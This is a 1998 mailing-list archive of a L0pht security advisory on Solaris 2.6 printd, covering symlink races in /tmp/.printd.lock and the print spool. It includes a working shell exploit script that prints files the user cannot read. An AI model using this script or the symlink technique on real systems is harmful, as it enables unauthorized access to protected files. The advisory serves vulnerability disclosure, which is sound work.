Solaris printd security vulnerability

From: Aleph One (aleph1at_private)
Date: Wed Mar 11 1998 - 09:23:44 PST

  • Next message: Aleph One: "Sun Security Bulletin #00165"

    `'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`
                            L0pht Security Advisory
    
          Document:  L0pht Security Advisory
        URL Origin:  http://www.l0pht.com/advisories.html
      Release Date:  February 23, 1998
       Application:  printd (lp)
     Operating Sys:  Solaris 2.6
          Severity:  Users can overwrite/create system files
                     Users can print unreadable files
            Author:  silicosis <siliat_private>
      Patch Status:  Sun has been made aware of the vulnerabilities
                     3 weeks ago and still has not released a patch.
    
    `'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`
    
    Create/Overwrite Files:
    
    Sun hasn't learned from it's past mistakes; temp files are still a
    problem this time it's with  'printd' (lp).   Upon printing a large file
    that sits in the queue for ~1minute, a lock file (/tmp/.printd.lock) is
    created.  Before you print something large, create a symlink pointing to
    the /tmp/.printd.lock towards something you'd like to create/overwrite.
    
    When printd is done, the file your pointing to will have mode 640, and
    the contents will contain printd's pid.
    
    
    ``````````````````````````
    
    Printing unreadable files:
    
    
    Sun has restructured their print spooling in Solaris 2.6. They've
    gone over to a queueing system that's similar to sendmail:
    
    [~]lp .tcshrc
    [~]ls -al /var/spool/print
    total 12
    drwxr-xr-x   2 root     lp           512 Feb 20 12:44 .
    drwxrwxr-x  10 root     bin          512 Feb 17 11:28 ..
    -rw-rw-r--   1 root     staff          4 Feb 20 12:44 .seq
    -rw-r-----   1 root     staff         80 Feb 20 12:44 cfA037core
    lrwxrwxrwx   1 root     staff         19 Feb 20 12:44 dfA037core ->
    /home/sili/.tcshrc
    -rw-r-----   1 root     staff         23 Feb 20 12:44 xfA037core
    
    You have your control, transfer and datafiles. The datafile is just
    a symlink to the file you printed, so if you link the file you printed
    to something else *before* the queue is flushed, printd will print it.
    
    A simple exploit script:
    
    ----[CUT HERE: sol26lp]----
    
    #!/bin/sh
    #
    #Print unreadable files on solaris2.6
    #siliat_private
    #
    # --If it didn't work, change $BIGFILE to
    #   something bigger.
    #
    # --Script usually works 80% of the time..
    #   Didn't work? Try again.. Throw something
    #   at the printspooler to slow it down.
    #
    
    TMPFILE="./.dmlr"
    BIGFILE="/usr/lib/libc.so.1"
    
    if [ $# != 1 ]; then
            echo "Usage:"
            echo
            echo "./sol26lp <file>"
            echo
            echo "Print unreadable files on Solaris2.6"
            echo "                  ----siliat_private"
           exit 1
    fi
    
    echo "Need a large file to print, using $BIGFILE."
    cp /usr/bin/vi $TMPFILE ; chmod 700 $TMPFILE
    lp $TMPFILE ;
    #sleep 1;
    
    rm $TMPFILE ; ln -s $1 $TMPFILE
    
    QF=`ls -al /var/spool/print |grep $TMPFILE |awk '{print $9}'`
    
    echo "Queue File: /var/spool/print/$QF"
    
    while [ -h /var/spool/print/$QF ]; do
            echo "Waiting for file to print";
            sleep 1;
    done
    
    echo "File printed. Erasing temp files."
    rm $TMPFILE
    
    echo "Done."
    echo
    echo " --siliat_private 1/20/98"
    
    ----[CUT HERE: sol26lp]----
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:44:50 PDT